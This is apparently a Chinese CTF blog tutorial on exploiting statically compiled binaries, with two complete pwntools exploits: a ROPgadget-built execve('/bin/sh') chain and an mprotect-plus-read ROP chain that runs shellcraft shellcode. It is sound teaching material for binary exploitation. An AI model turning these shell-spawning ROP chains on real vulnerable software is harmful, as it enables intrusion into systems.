[pwn]静态编译

devtools/2024/9/23 11:54:34/

静态编译

1. 栈足够大的情况下

  1. 程序在ida打开后,左侧的函数栏目没有红色(系统调用的函数),而只有一些静态函数,通常这类文件的大小会必普通的pwn题程序要大得多。

    image-20240701143838909

  2. 这种静态编译的题没有调用库函数,也就没有使用libc,自然我们也没法泄漏libc的基地址,可以直接使用 ROPgadget 来搜索,利用程序中的一些指令片段,来拼凑出 call system("/bin/sh") 的效果。

    ROPgadget --binary rop --ropchain
    
  3. 搜索到的指令如下,指令平凑起来就相当于一个 call system("/bin/sh") 函数,在栈溢出的返回地址处填入这串指令的地址(也可以直接在ida中看到)即可顺利执行:

    image-20240701144642727

    image-20240701145054442

  4. EXP:

    from pwn import *
    from struct import pack
    context(os='linux', arch='amd64', log_level='debug')# p1=remote("node5.buuoj.cn",29851)
    p1 = process("./rop")p = b'a'*(0x0c+4)
    #下面是各种指令的地址
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'/bin'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'//sh'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080de769) # pop ecx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0806c943) # int 0x80
    p1.sendline(p)
    p1.sendline(b"cat flag")
    p1.interactive()

2. 栈不够大,需要往内存页面上写入mprotect函数修改内存页面权限

  1. ida打开,发现存在栈溢出,但是溢出的长度只有 0x64-0x12-0x4*2 ,不足以在栈上写入有地址,所以要改变方法:往内存页面上写入shellcode,再执行。

    image-20240701202949147

  2. 往内存上写数据前,要修改写入页面的权限为 可读可写可执行 ,mprotect函数的声明,参数说明如下:

    注意 :再指定内存页面的起始地址时要保证 对齐 到页面边界上,即addr的第三位必须是 000(4) = 000000000000 保证其能被 4k = 1000000000000(2) = 0x1000(16) 整除,长度为4k=0x1000 的整数倍否则将报错,最后内存保护标志可以按数字标记,将各个权限数字相加即可 可读可写可执行 = 0x7

    #include <sys/mman.h>
    int mprotect(void *addr, size_t len, int prot);
    

    image-20240701203738010

    image-20240701205311443

  3. 修改完内存页面权限后就可以往上写入shellcode代码,利用read函数,传入页面的地址,写入的大小,还有选项,最后read返回执行写入的汇编代码。

from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show',28208)
elf = ELF('./pwn')
mprotect = elf.sym['mprotect']
read_addr = elf.sym['read']# pop_ebx_esi_ebp_ret = 0x080a019b   # 0x080a019b : pop ebx ; pop esi ; pop ebp ; ret
# pop_ebx_esi_ebp_ret = 0x08056194   # 0x08056194 : pop eax ; pop edx ; pop ebx ; ret
# pop_ebx_esi_ebp_ret = 0x08061c3b    # 0x08061c3b : pop edi ; pop esi ; pop ebx ; ret
pop_ebx_esi_ebp_ret = 0x08061c3b    # 0x08069cbd : pop esi ; pop edi ; pop ebx ; ret#页面起始地址
M_addr = 0x080Db000
#页面大小
M_size = 0x1000
# 权限
M_proc = 0x7#调用protect函数修改内存页面M_addr位置的权限,调用完成后利用pop+ret指令衔接到read函数
payload = cyclic(0x12+4) + p32(mprotect)
payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size) + p32(M_proc)
#调用read函数向M_addr上写入shellcode,最后退出read函数时ret调用M_addr处的shellcode代码
payload += p32(read_addr)+ p32(M_addr) + p32(0) + p32(M_addr) + p32(M_size)#先发送一次payload,修改完权限,并且再read函数的等待输入
io.sendline(payload)
shellcode = asm(shellcraft.sh())
#第二次发送payload,给read函数写入shellcode代码
io.sendline(shellcode)
io.recv()
io.interactive()

http://www.ppmy.cn/devtools/57405.html

相关文章

adb热更新

模拟器连接AndroidStudio 解决:adb server version (36) doesnt match this client (40); killing... 1.G:\ProgramFils\android-sdk\platform-tools adb --version 2.H:\yeshen\Nox\bin adb --version 3.把G:\ProgramFils\android-sdk\platform-…

怎么配置electron-updater

electron-updater 是一个流行的 Electron 应用程序更新解决方案,它允许你的 Electron 应用自动检查、下载并安装新版本。以下是如何配置 electron-updater 的基本步骤: 1. 安装依赖 首先,你需要在你的 Electron 项目中安装 electron-updater 和相关的打包工具(如 electro…

在Linux环境下使用sqlite3时,如果尝试对一个空表进行操作(例如插入数据),可能会遇到表被锁定的问题。

在Linux环境下使用sqlite3时&#xff0c;如果尝试对一个空表进行操作&#xff08;例如插入数据&#xff09;&#xff0c;可能会遇到表被锁定的问题。这通常是因为sqlite3在默认情况下会对空表进行“延迟创建”&#xff0c;即在实际需要写入数据之前&#xff0c;表不会被真正创建…

计算机大方向的选择

选专业要了解自己的兴趣所在。 即想要学习什么样的专业&#xff0c;如果有明确的专业意向&#xff0c;就可以有针对性地选择那些专业实力较强的院校。 2.如果没有明确的专业意向&#xff0c;可以优先考虑一下院校。 确定一下自己想要选择综合性院校还是理工类院校或是像财经或者…

【计算机毕业设计】073智慧旅游平台开发微信小程序

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

智能井盖监测系统:守护城市安全的新防线

​ ​​在快速发展的现代都市中&#xff0c;井盖作为连接地上与地下世界的“隐形门”&#xff0c;其安全状态直接关系到市民的生命财产安全。随着物联网、大数据及人工智能技术的飞速发展&#xff0c;智能井盖监测系统的出现为解决传统井盖管理难题提供了创新方案&#xff0…

2个方法教你轻松移除pdf文件编辑限制

PDF是一种常见的办公文档格式&#xff0c;常用于文件共享和保护。然而&#xff0c;有时候我们需要编辑PDF文件中的内容&#xff0c;但受到了编辑限制。本文将介绍一些有效的方法&#xff0c;帮助您解除PDF的编辑限制&#xff0c;轻松进行编辑和修改。 一、通过密码取消PDF“限制…

解决 npm intasll 安装报错 Error: EPERM: operation not permitted

Node.js安装及环境配置完成之后 npm install express -g 安装全局的模块报错提示没有权限operation not permitted mkdir 错误编号4048&#xff1a; 其原因是当前用户操作该目录权限不足&#xff0c;当以管理员身份运行cmd&#xff0c;再执行npm install express -g 是不会报权…